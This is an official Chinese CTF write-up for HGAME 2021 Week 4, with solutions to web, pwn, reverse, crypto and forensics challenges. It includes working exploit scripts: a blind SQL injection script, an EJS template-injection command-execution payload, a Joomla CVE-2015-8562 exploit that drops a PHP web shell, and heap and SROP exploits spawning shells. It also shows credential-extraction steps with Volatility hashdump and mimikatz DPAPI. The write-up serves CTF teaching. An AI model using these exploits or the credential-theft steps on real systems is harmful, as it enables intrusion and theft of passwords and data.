HGAME 2021 Week4 Official Writeup

Web

Unforgettable

- 考点：SQL 二次注入， SQL 正则匹配
- 出题人：sw1tch
- 分值：450

这周的这个题和上周的 SSTI 是同一个题面但是是不同的考点，确实非常猥琐

但是由于能由用户控制的东西并不多，`username` 字段有针对 SQL 注入的 WAF，所以 FUZZ 一下就能发现注册的时候 `username` 会过滤一些关键字

在 `/user` 路由下存在语句 `SELECT * FROM user WHERE username='xx'`

过滤了不少东西，`> < = like 0x ascii hex substr char` 都过滤了，但是还可以用 regexp 来正则匹配

因为过滤不严格，所以有一种非预期是用 `if(left(right(xx,a),b)in"c",delay,0)` 这样的 payload 打的，也可以

exp

```
import requests
import random
import time

# exp = "
{prefix}'&&/**/if((select/**/group_concat(table_name)/**/from/**/information_sc
hema.tables/**/where/**/table_schema/**/regexp/**/database())regexp/**/'^{paylo
ad}',benchmark(10000000,sha2('a',256)),0)#"
```

```
# exp = "
{prefix}'&&/**/if((select/**/group_concat(column_name)/**/from/**/information_s
chema.columns/**/where/**/table_name/**/regexp/**/'^fffllllaagggg$')regexp/**/'^
{payload}',benchmark(10000000,sha2('a',256)),0)#"
exp = "
{prefix}'&&/**/if((select/**/fllllllaaaagg/**/from/**/fffllllaagggg)regexp/**/'^{
payload}',benchmark(10000000,sha2('a',256)),0)#"

base_url = "http://127.0.0.1:10041/{uri}"
user_url = base_url.format(uri="user")
base_email = "{prefix}@payload.exp"
charset = "1234567890abcdefghijklmnopqrstuvwxyz_,$"

def random_str(slen=20):
    seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    sa = []
    for i in range(slen):
      sa.append(random.choice(seed))
    return ''.join(sa)

def reg(username, email):
    reg_url = base_url.format(uri="register")
    data = {
        "username": username,
        "email": email,
        "password": "123456"
    }
    requests.post(url=reg_url, data=data)

def login(email):
    login_url = base_url.format(uri="login")
    data = {
        "email": email,
        "password": "123456"
    }
    sess = requests.session()
    sess.post(url=login_url, data = data)
    return sess

def logout(sess):
    logout_url = base_url.format(uri="logout")
    sess.get(logout_url)

def reg_prefix():
    username_prefix = random_str(20)
    email = base_email.format(prefix=random_str(20))
    reg(username_prefix, email)
    return username_prefix

def blind():
    username_prefix = reg_prefix()
    result = ""
    while (True):
        for c in charset:
            time.sleep(0.1)
            payload = result + c
#             print(payload)
            username = exp.format(prefix=username_prefix, payload=payload)
```

```
            email = base_email.format(prefix=random_str(20))
            reg(username, email)
            sess = login(email)
            res = sess.get(url=user_url, allow_redirects=False)
            if res.elapsed.total_seconds() > 4:
                result += c
                break
        if c == '$':
            break
        print(result)

if __name__ == "__main__":
    blind()
```

macguffin

- 考点： 原型链污染、ejs 模板注入
- 出题人： 0x4qE
- 分值： 400

代码很简单，流程也很清晰。考点是原型链污染，理解了原型链污染再来看这篇 wp 就很清晰了。

```
app.all('/wish', (req, res) => {
    if (!req.session.crying) {
        return res.send("forbidden.")
    }
}
```

想要进入 `/wish` 界面需要让 `crying` 为 `true` ，而想要达到这个目的得看主页面的代码。

```
app.all('/', (req, res) => {
    let data = {name: "", discription: ""}
    if (req.ip === "::ffff:127.0.0.1") {
        data.crying = true
    }
    if (req.method == 'POST') {
        Object.keys(req.body).forEach((key) => {
            if (key !== "crying") {
                data[key] = req.body[key]
            }
        })
    }
}
```

首先这里的 `ip` 无法伪造，只能考虑 `POST` 数据赋值。

这里有一个 `data[key] = req.body[key]` 很令人在意， `javascrupt` 中万物皆对象，每个 `Object` 都有一个原型 `__proto__` 。这里的遍历赋值就给了我们原型链污染的可能。

源码里 `app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json())` ，提示了这里需要用设置 `Content-type` 为 `application/json` 来 `POST` 数据。有兴趣的话可以自己调试看看为什么 `application/x-www-form-urlencoded` 是不能成功污染的。

payload:

`{"__proto__":{"crying":true},"name":"a",discription:"aa"}`

接下来到了 `/wish` 界面

```
if (req.method == 'POST') {
        let wishes = req.body.wishes
        req.session.wishes = ejs.render(`<div class="wishes">${wishes}</div>`)
        return res.redirect(302, '/show');
    }
```

用到了ejs，看看官网

这是一种模板引擎，我们看他的示例

```
<div id="output"></div>
<script src="ejs.min.js"></script>
<script>
  let people = ['geddy', 'neil', 'alex'],
      html = ejs.render('<%= people.join(", "); %>', {people: people});
  // With jQuery:
  $('#output').html(html);
  // Vanilla JS:
  document.getElementById('output').innerHTML = html;
</script>
```

实际上在 `<% %>` 标签内可以执行 `js` 代码，于是一把梭读 flag。

```
<%- global.process.mainModule.constructor._load('child_process').execSync('cat
/flag')%>
```

joomlaJoomla!

- 考点：PHP反序列化、CVE-2015-8562
- 出题人：r4u
- 分值：450

进入题目能够看出是`Joomla! version 3.4.5`，网上搜索一下能够发现这个版本存在反序列化漏洞`CVE-2015-8562`。这个漏洞的复现教程在网上有很多，就不仔细分析了。

找到网上的`exp`：

`https://github.com/az0ne/joomla_exp/blob/master/joomla_exp.py`

这题我将漏洞修改了一下，网上的`exp`并不能直接打通。直接下载`Joomla! 3.4.5`的源码然后和题目提供的源代码比对一下，就能发现不同：
`diff -r ./Joomla\!3.4.5 ./html`

```
只在 ./html 存在: configuration.php
只在 ./html 存在: .htaccess
只在 ./Joomla!3.4.5 存在: installation
diff --color -r ./Joomla!3.4.5/libraries/joomla/session/session.php
./html/libraries/joomla/session/session.php
989a990,993
>           $pos = strpos($_SERVER['HTTP_X_FORWARDED_FOR'],'|');
>           if($pos){
>               $_SERVER['HTTP_X_FORWARDED_FOR'] =
substr_replace($_SERVER['HTTP_X_FORWARDED_FOR'],'',$pos,strlen('|'));
>             }
```

```
1016a1021,1024
>                 $pos = strpos($_SERVER['HTTP_USER_AGENT'],'|');
>                 if($pos){
>                     $_SERVER['HTTP_USER_AGENT'] =
substr_replace($_SERVER['HTTP_USER_AGENT'],'',$pos,strlen('|'));
>                 }
```

这个漏洞的注入点在`User-Agent`头和`X-Forwarded-For`头，可以看见改动的代码过滤了第一个`|`，所以这个其实打起来很容易，把`payload`中的`|`后再补上一个`|`就可以了。

```
import requests
import re
import sys
def get_url(url, user_agent):

    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)
    return response.content

def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))

    return encoded[:-1]


def generate_payload(php_payload):

    php_payload = "eval({0})".format(php_str_noquotes(php_payload))

    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test||O:21:"JDatabaseDriverMysqli":3:
{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:
{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:
{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)),
injected_payload)
    exploit_template +=
r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class"
;O:20:"JDatabaseDriverMysql":0:
{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate

    return exploit_template

def check(url):
    response = requests.get(url)
    return response.content


turl = sys.argv[1]
```

```
syscmd =
"file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/88.php',base64_decode
('dnZ2PD9waHAgZXZhbCgkX1BPU1Rbenp6XSk7Pz4='));"
pl = generate_payload(syscmd)
print(pl)
get_url(turl, pl)
url = turl+'88.php'
if b'vvv' in check(url):
    print("成功shell为"+turl+u"88.php，密码为zzz")
else:
    print("失败！漏洞已修补或版本不同！")
```

Pwn

house_of_cosmos

- 考点：unlink
- 出题人：xi4oyu
- 分值：400

标准菜单题，有 add，dele，edit 功能，没有开 PIE

漏洞点就在读入数据的地方，长度是有符号类型，而索引变量 i 是无符号类型，比较的时候是无符号比较，只要长度为 0，减一后无符号比较就可以溢出了

```
void __fastcall readStr(__int64 a1, int a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2 - 1; ++i )
  {
    if ( read(0, (void *)(i + a1), 1uLL) != 1 )
      exit(-1);
    if ( *(_BYTE *)(i + a1) == 10 )
      break;
  }
  *(_BYTE *)(i + a1) = 0;
}
```

add 功能可以看出，a2 确实可以为 0，且 `malloc(0)` 实际分配的 chunk 大小是 0x20

```
if ( v2 < 0 || v2 > 0x400 )
  return puts("too long!");
nodes[i].buf = (char *)malloc(v2);
nodes[i].size = v2;
printf("input someting >> ");
readStr((__int64)nodes[i].buf, nodes[i].size);
return printf("the id of data is %d, and your input is %s", (unsigned
```

可以堆溢出，且没开 PIE，libc 是 2.23，这就涉及到一个经典的利用方式，就是利用 unlink 宏，是的全局的保存 chunk 指针的数组写入该数组附件的地址，之后既可以任意写了，unlink 利用教程很多，这就不展开讲了

利用任意写改 free 的 got 表为 puts 的 plt 地址，就可以泄露地址，最后改 atoi 的 got 表为 system，即可 getshell

exp如下：

```
#coding=utf8

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'zsh', '-c']
context.log_level = 'info'
# functions for quick script
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
irt     = lambda                    :p.interactive()
dbg     = lambda gs='', **kwargs    :gdb.attach(p, gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))


def rs(arg=[]):
    global p
    if arg == 'remote':
        p = remote(*host)
    else:
        p = binary.process(argv=arg)

binary = ELF('./house_of_cosmos', checksec=False)
host = ('159.75.113.72', 31404)
libc = ELF('libc.so.6', checksec=False)

rs('remote')

def add(sz, data):
    sla('>> ', '1')
    sla('>> ', str(sz))
    sla('>> ', data)


def free(idx):
    sla('>> ', '2')
    sla('>> ', str(idx))


def edit(idx, data):
    sla('>> ', '4')
    sla('>> ', str(idx))
    sla('>> ', data)


add(0, 'aa')  # 0
add(0x90, 'aa')  # 1
add(0x90, 'aa')  # 2
add(0x90, 'aa')  # 3
```

```
list_addr = 0x4040C0
ptr = list_addr + 0x10  # 1

fake_chunk = p64(0) + p64(0x91) + p64(ptr - 0x18) + p64(ptr - 0x10)
fake_chunk = fake_chunk.ljust(0x90, 'a')

pay = 'a' * 0x10 + p64(0) + p64(0xa1) + fake_chunk + p64(0x90) + p64(0xa0)
edit(0, pay)

free(2)

# 0 -> free_got, 1, 2 -> atoi_got
pay = 'a' * 8
pay += p64(binary.got['free']) + p64(0x10)
pay += (p64(binary.got['atoi']) + p64(0x10)) * 2
edit(1, pay)


# free_got -> puts_plt
# leak
edit(0, p64(binary.plt['puts'])[:-1])
free(1)

lbase = uu64(ru('\n')) - libc.sym['atoi']
leak('lbase', lbase)

# atoi_got -> system
system = lbase + libc.sym['system']
edit(2, p64(system)[:-1])

#dbg()
sla('>> ', '/bin/sh')

irt()
```

rop_senior

- 考点：srop
- 出题人：d1gg12
- 分值：350

exp如下

```
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
r=remote('159.75.104.107', 30525)
#r = process('./rop_senior')

bss = 0x601700
vuln = 0x40062a
vuln_1 = 0x40063c
vuln_2 = 0x40063a
read = 0x40063e
syscall = 0x400647
```

```
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = bss
sigframe.rdx = 0x400
sigframe.rsp = bss
sigframe.rip = syscall


r.sendafter('best', 'a'*8 + p64(vuln) + p64(vuln_1) + str(sigframe))

r.sendafter('best', 'a'*8 + p64(vuln_1)[:7])

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bss + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = bss
sigframe.rip = syscall

#gdb.attach(r)
r.send(('a'*8 + p64(vuln) + p64(vuln_1) + str(sigframe)).ljust(0x120,'b') +
"/bin/sh\x00")

r.sendafter('best','a'*8 + p64(vuln_1)[:7])

r.interactive()
```

Reverse

vm

- 考点：vm
- 出题人：m,e;z.o,n~e
- 分值：450

题目考察vm
关键代码如下

```
typedef enum VM_Code {
    ADD, ADD_AX, ADD_BX, ADD_CX, SUB, SUB_AX, SUB_BX, SUB_CX,

    PUSH, PUSH_AX, PUSH_BX, PUSH_CX, POP_AX, POP_BX, POP_CX,

    CALL, RET,
      XOR,
      CMP,
      JMP, JE,
      STREAM_IN, STREAM_OUT,
      TERMINATE,
} VM_Code;
```

```
extern const std::vector<std::variant< VM_Code,uint8_t> > opcode {
  CALL, _strlen,  // ax = strlen

  PUSH, 34,
  POP_BX,          // bx = 34
  CMP,             // cmp ax, bx
  JE, _main,
  TERMINATE,

  // _main @ 9
  PUSH, 0xfe,
  POP_BX,          // bx = 0xfe (xor的参数)
  PUSH_CX,         // 保存 cx (flag 长度)
  CALL,_xor,      // 第一次 xor
  POP_CX,          // 恢复 cx
  PUSH, 0x7a,
  POP_BX,          // bx = 0x7a
  CALL, _sub,      // 第二次 xor
  TERMINATE,

  // _xor @ 22
  SUB_CX, 1,       // cx 相当于下标
  STREAM_IN,       // 读 stream[cx] 并 push
  POP_AX,          // ax = stream[cx]
  XOR,             // ax = ax xor bx (bx 是传进来的参数)
  PUSH_AX,
  STREAM_OUT,      // stream[cx] = ax
  PUSH_BX,         // 保存 bx
    PUSH, 0,
    POP_AX,        // ax = 0
    PUSH_CX,
    POP_BX,        // bx = cx
    CMP,           // cmp ax, bx 如果下标为 0
    JE, _xor_ret, // 就退出
  POP_BX,          // 恢复 bx
  ADD_BX, 0x23,
  JMP, _xor,

  // _xor_ret @ 43
  POP_BX,
  RET,


  // sub @ 22+23
 SUB_CX, 1,       // cx 相当于下标
 STREAM_IN,       // 读 stream[cx] 并 push
 POP_AX,          // ax = stream[cx]
 SUB,             // ax = ax - bx (bx 是传进来的参数)
 PUSH_AX,
 STREAM_OUT,      // stream[cx] = ax
 PUSH_BX,         // 保存 bx
   PUSH, 0,
   POP_AX,        // ax = 0
   PUSH_CX,
   POP_BX,        // bx = cx
   CMP,           // cmp ax, bx 如果下标为 0
   JE, _sub_ret, // 就退出
```

```
 POP_BX,          // 恢复 bx
 SUB_BX, 0x60,    // bx -= 0x60
 JMP, _sub,

 // _sub @ 43+23
 POP_BX,
 RET,

  // _strlen @ 45+23
  STREAM_IN,
  POP_AX,
  CMP,             // bx 还没动过，所以 bx = 0
  JE, _strlen_ret,
  ADD_CX, 1,
  JMP,_strlen,
  // _strlen_ret @ 54+23
  PUSH_CX,
  POP_AX,
  RET,


};
```

nllvm

- 出题人：Y
- 分值：350

通过对编译器的改造，实现了全局变量的加密。
可以根据函数特征，或动态调试识别出AES。
部分源代码如下⬇

```
uint8_t key[] = {"CryptoFAILUREforRSA2048Key!!!!!!"};



char out[] = {
"\x91\xb3\xc1\xeb\x14\x5d\xd5\xce\x3a\x1d\x30\xe4\x70\x6c\x6b\xd7\x69\x78\x79\x
02\xa3\xa5\xdf\x1b\xfd\x1c\x02\x89\x14\x20\x7a\xfd\x24\x52\xf8\xa9\xf9\xf1\x6b\
x1c\x0f\x5d\x50\x5b\xec\x42\xd1\x8c\xb8\x12\xcf\x2c\xa9\x69\x31\x46\xfd\x9b\xea
\xde\xc8\xbf\x94\x69" };

int main()
{
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE |
FOREGROUND_GREEN | FOREGROUND_RED| FOREGROUND_INTENSITY);
    cout << "pwn god comsos one shot one flag" << endl;
    Sleep(500);
    cout << "vegetable bird Y coding with his girl" << endl;
    Sleep(500);
    cout << "        world line through a \"pass\" " << endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),  BACKGROUND_BLUE|
BACKGROUND_GREEN| BACKGROUND_RED);
    cout << "        something fucking happen" << endl;
    cout << "we have not seen cosmos pwn anymore" << endl;
```

```
    cout << "could you help cosmos back to life" << endl;


  char flag[100]{};
  cin >> flag;
  if(strlen(flag)==64)
  {

    uint8_t iv[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
    char buffer[64]{};
    memcpy(buffer, flag, 64);
    //  uint8_t buffer[64];
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, (UINT8*)buffer, 64);
    if (0 == memcmp((char*)out, (char*)buffer, 64))
    {
      SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE
| FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_INTENSITY);
    }

  }
  cout << "cosmos is still fighting and never give up" << endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE |
FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_INTENSITY);
    return 0;
}

//hgame{cOsm0s_is_still_fight1ng_and_NEVER_GIVE_UP_O0o0o0oO00o00o}
```

A Five Second Challenge

- 考点：Unity
- 出题人：oyy
- 分值：400

某天在上（摸）班（鱼）过程中发现 week4 题比较少，就想着简单搞一个扫雷，给大家接触下 Unity 游戏的典型结构。

这题预期流程是先随便探索一下，发现是个二维码，然后就把判断是否为雷的关键函数读懂，把位置分布拿到手即可。

有三个方法可以读到逻辑：

1. 直接读 il2cpp 中间文件，最省事的方法，但是拿不到 matrix 的值
2. 用 ILSpy 读 backup/Managed 下的那个 dll，但是拿不到 CheckBombAt 的逻辑
3. 用 il2cppdumper 处理 GameAssembly.dll 跟 global-metadata.dat，然后 ida 静态分析/借助 idapython 动态分析都可以

方案三是最正常的 Unity 游戏分析流程，给了 il2cpp 其实是比较奇怪的一个操作，这里我要简单解释一下：il2cpp 的中间文件本来是不打算给的，题目出完后我们自测的过程发现 `matrix` 这个数组要搞出来比较难，不太希望这个成为卡住选手的点，这才干脆把 il2cpp 中间文件跟那个 `AFiveSecondChallenge.dll` 一起放出来了 *（当然也是因为，`AFiveSecondChallenge.dll` 是个单*

独的工程，被我放公司了，懒得重写了2333）。但是又不想选手通过 ILSpy 之类的软件一把梭，就把关键函数 nop 掉了 *（后来才发现貌似没 nop 干净？不过也没啥影响2333）*

关键函数就是遍历 `matrix` 这个 `45x15x3` 矩阵，二维码是 `45x45` 的，每三个参数（记为 `a`、`b`、`c`）确定三个坐标是否为雷。然后根据以下公式确定是不是雷：

```
y = a * z * z + b * z + c > 0 ?
```

其中，`z = x % 3 - 1`，没错，就是一个二次函数的一般式哈哈哈哈~

Unity 工程没什么需要提的。题目部分源码可见 https://gist.github.com/oyiadin/3a89737d7c8f51537e4474cafd7895b8

> P.S. 有几个位置是点不了的，这个是个 bug，实现踩到空位时清空一大块位置这个功能的漫水算法下标越界了，不过不太影响做题～

Crypto

夺宝大冒险1

- 出题人：Tinmix
- 分值：350

参考**lng attack**
https://zeroyu.xyz/2018/11/02/Cracking-LCG/#0x00-%E5%89%8D%E8%A8%80
https://tailcall.net/blog/cracking-randomness-lcgs/
由于初始化器用的是os.urandom,因此会有存在没有对应逆元或存在多个对应解的情况,但理论上概率不大（我没有计算过）,因此如果一次跑不出来就多跑几次就可以了
参考exp

```
from pwn import *
from gmpy2 import gcd

context(log_level='debug')

r = remote('xxx.xxx.xxx.xxx', xxxxx)

def exgcd(m,n,x,y):
    if n == 0:
        x = 1
        y = 0
        return (m,x,y)
    a1 = b = 1
    a = b1 = 0
    c = m
    d = n
    q = int(c/d)
    r = c%d
    while r:
        c = d
        d = r
        t = a1
        a1 = a
        a = t-q*a
        t = b1
        b1 = b
```

```
        b = t-q*b
        q = int(c/d)
        r = c%d
    x = a
    y = b
    return (d,x,y)

a, b = r.recvuntil('\n')[1:-2].split(b', ')
a, b = int(a), int(b)
c = int(r.recvuntil('\n')[:-1])
d = int(r.recvuntil('\n')[:-1])

r.sendline(str((d-c*a)%b))

a0 = 123
d = int(r.recvuntil('\n')[:-1])
a1 = int(r.recvuntil('\n')[:-1])
a2 = int(r.recvuntil('\n')[:-1])
a3 = int(r.recvuntil('\n')[:-1])

g, x, y = exgcd(a1-a0, d, 0, 0)

x *= (a2-a1) // g
y *= (a2-a1) // g
y += (x // d) * (a1-a0)
x -= (x // d) * d

b = x

while (a1-a0*b)%d != (a2-a1*b)%d:
    b += d
c = (a1-a0*b)%d

assert (a2*b+c)%d==a3

r.sendline(str(b))
r.sendline(str(c))

# a0
# a0 * b + c = k0 * d + a1
# a1 * b + c = k1 * d + a2
# a2 * b + c = k2 * d + a3

# (a1-a0) * b - k0 * d = (a2-a1)
# (a2-a1) * b - k1 * d = (a3-a2)

a = [123]
for i in range(7):
    a.append(int(r.recvuntil('\n')[:-1]))

# (a2-a1)(a1-a0) * b - ? * d = (a2-a1)(a2-a1)
# (a1-a0)(a2-a1) * b - ? * d = (a3-a2)(a1-a0)

e = []
for i in range(6):
    for j in range(i+1,6):
        e.append(abs((a[i+2]-a[i+1])*(a[j+1]-a[j]) - (a[j+2]-a[j+1])*(a[i+1]-
a[i])))
```

```
d = e[0]
for x in e[1:]:
    d = gcd(d, x)
print(d)

r.sendline(str(d))

r.interactive()
```

夺宝大冒险2

- 出题人：Tinmix
- 分值：300

很简单的线性同余生成器的攻击,由于分数大于80才能出flag,因此解法有很多种,以下基于难易度排行(个人感觉):

- poly10个出来,利用z3求解
- poly10个出来,利用BM算法求解
- poly20个出来,利用线性方程组求解

当然,还有一种更为简单的做法,仔细分析这个生成器,如果poly10个后,当前的init就会变成输出出来的序列,用这个序列猜出剩下90个答案即可

Misc

Akira之瞳-1

- 考点：内存取证、NTLM hash crack、盲水印
- 出题人：Akira
- 分值：350

解压后得到 `important_work.raw`

```
akira@kasumi:/tmp/$ volatility -f important_work.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64,
Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/tmp/important_work.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf8000403b0a0L
          Number of Processors : 16
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff8000403cd00L
                KPCR for CPU 1 : 0xfffff88004700000L
                KPCR for CPU 2 : 0xfffff88004776000L
                KPCR for CPU 3 : 0xfffff880047ec000L
                KPCR for CPU 4 : 0xfffff88004840000L
                KPCR for CPU 5 : 0xfffff880048b6000L
                KPCR for CPU 6 : 0xfffff8800492c000L
                KPCR for CPU 7 : 0xfffff880049a2000L
                KPCR for CPU 8 : 0xfffff880049d8000L
                KPCR for CPU 9 : 0xfffff88004a94000L
```

```
                KPCR for CPU 10 : 0xfffff88004b0a000L
                KPCR for CPU 11 : 0xfffff88004b80000L
                KPCR for CPU 12 : 0xfffff88004c00000L
                KPCR for CPU 13 : 0xfffff88004c76000L
                KPCR for CPU 14 : 0xfffff88004cec000L
                KPCR for CPU 15 : 0xfffff88004d62000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-02-18 09:47:25 UTC+0000
     Image local date and time : 2021-02-18 17:47:25 +0800
```

可以看出操作系统应为 `Win7SP1x64`

```
akira@kasumi:/tmp/$ volatility -f important_work.raw --profile=Win7SP1x64
pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess
Wow64 Start                         Exit
------------------ -------------------- ------ ------ ------ -------- ------ --
---- ------------------------------ ------------------------------
...
0xfffffa800f263b30 important_work         1092   2232      1       16      1
   1 2021-02-18 09:47:15 UTC+0000
...
```

可以找到名为 `important_work.exe` (未显示全) 的进程，PID 为 1092

```
akira@kasumi:/tmp/$ volatility -f important_work.raw --profile=Win7SP1x64
cmdline
...
important_work pid:   1092
Command line : "C:\Users\Genga03\Desktop\important_work.exe"
C:\Users\Genga03\Desktop\work.zip
...
```

可以看出这个程序用到了 `work.zip`

这里有个小坑，**当文件超过一定大小时**，如果采用 `filescan` + `dumpfiles` 得出来的文件大小和原来的基本一致但是内容全是 0：

所以我们先使用 `memdump` 把 `important_work.exe (PID: 1092)` 的进程 dump 下来：

```
akira@kasumi:/tmp/$ volatility -f important_work.raw --profile=Win7SP1x64
memdump -p 1092 -D ./
Volatility Foundation Volatility Framework 2.6
************************************************************************
Writing important_work [  1092] to 1092.dmp
```

然后 `foremost 1092.dmp`：

成功找到 zip，打开：

根据提示先找 `NTLM hash`：

```
akira@kasumi:/tmp/$ volatility -f important_work.raw --profile=Win7SP1x64
hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0
89c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Genga03:1001:aad3b435b51404eeaad3b435b51404ee:84b0d9c9f830238933e7131d60ac6436:
::
```

> 空 hash：
> LM hash：aad3b435b51404eeaad3b435b51404ee
> NT hash：31d6cfe0d16ae931b73c59d7e0c089c0

所以密码的 hash 应该是 `84b0d9c9f830238933e7131d60ac6436`，随便找个在线工具 crack 一下：

用密码 `20504cdfddaad0b590ca53c4861edd4f5f5cf9c348c38295bd2dbf0e91bca4c3` 解压，得到两张看起来一样的图，`src.png` 与 `Blind.png`：

搜索后知道是盲水印，在 github 搜索后按 star 数排序选择第一个 (https://github.com/chishaxie/BlindWaterMark) 进行尝试 (第二个是用水印解水印怎么想都不对吧)：

```
python3 bwm3.py decode src.png Blind.png out.png
```

> hgame{7he_f1ame_brin9s_me_end1ess_9rief}

Akira之瞳-2

- 考点：内存取证、Cookie、VeraCrypto、NTFS文件流
- 出题人：Akira
- 分值：400

```
akira@kasumi:/tmp/$ volatility -f secret_work.raw --profile=Win7SP1x64 pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess
Wow64 Start                 Exit
------------------ -------------------- ------ ------ ------ -------- ------ --
---- ------------------------------ ------------------------------
...
0xfffffa801b475b00 notepad.exe             456   2372      1       63      1
   0 2021-02-19 08:19:52 UTC+0000
...
```

可以看到有个记事本，但是 `notepad` 命令只支持 XP 及以下我们还是先看下他打开了什么文件：

```
akira@kasumi:/tmp/$ volatility -f secret_work.raw --profile=Win7SP1x64 cmdline
...
notepad.exe pid:    456
Command line : "C:\Windows\system32\NOTEPAD.EXE"
C:\Users\Genga03\Desktop\dumpme.txt
...
```

txt 文件较小，并且文件名有提示，尝试使用 `filescan` + `dumpfiles`：

```
akira@kasumi:/tmp/$ volatility -f secret_work.raw --profile=Win7SP1x64 filescan
| grep dumpme.txt
Volatility Foundation Volatility Framework 2.6
0x000000007ef94820      2      0 RW-r--
\Device\HarddiskVolume1\Users\Genga03\Desktop\dumpme.txt
0x000000007f2b5f20      2      0 RW-rw-
\Device\HarddiskVolume1\Users\Genga03\AppData\Roaming\Microsoft\Windows\Recent\
dumpme.txt.lnk

akira@kasumi:/tmp/$ volatility -f secret_work.raw --profile=Win7SP1x64
dumpfiles -Q 0x000000007ef94820 -D ./
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x7ef94820   None
\Device\HarddiskVolume1\Users\Genga03\Desktop\dumpme.txt
```

打开得到：

> zip password is: 5trqES&P43#y&1TO
> And you may need LastPass

用密码解压 `secret.7z`：

应该是要用 protect 文件和登录密码解密 Cookies

> Chrome 80 以后更改了 Cookies 的加密方法，所以先检查一下版本

Chrome Cookies 的本质是 SQLite 所以找个软件打开：

`cookies` 表 `encrypted_value` 字段不为 `v10` / `v11` 开头，是 Chrome 79 及以前版本的 Cookies

搜索得知可以用 `mimikatz` 解密 Cookies，但是要找到登录密码，想起 LastPass，搜索后可以找到一个 Volatolity 的插件：https://github.com/kevthehermit/volatility_plugins/tree/master/lastpass

```
akira@kasumi:/tmp/$ volatility --plugins=./ -f secret_work.raw --
profile=Win7SP1x64 lastpass
...
Found LastPass Entry for
live.com,bing.com,hotmail.com,live.com,microsoft.com,msn.com,windows.com,window
sazure.com,office.com,skype.com,azure.com
UserName: windows login & miscrosoft
Pasword: vIg*q3x6GFa5aFBA
...
```

> Windows 下：文件夹选项 -> 查看 -> 取消勾选 “隐藏受保护的操作系统文件” 才能看到 SID 文件夹下的 protect 文件

下面使用 mimikatz 来解密 Cookies：

先解出 masterkey：

```
dpapi::masterkey /in:S-1-5-21-262715442-3761430816-2198621988-1001\57935170-beab-4565-ba79-2b09570b95a6 /sid:S-1-5-21-262715442-3761430816-2198621988-1001 /password:vIg*q3x6GFa5aFBA
```

> masterkey:
> 3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8

然后用 masterkey 解密 Cookies：

```
dpapi::chrome /in:"Cookies"
```

> Name: VeraCrypt
> Cookie: !bWjAqM2z!iSoJsV&*IRV*@AVI1VrtAb

搜索得知 VeraCrypt 是一个加密软件，container 应该是用它加密的，下载软件后用密码挂载 container：

得到 `ADS.jpg`，搜索得知 ADS 流文件，用软件进行扫描：

导出即可得到 flag：

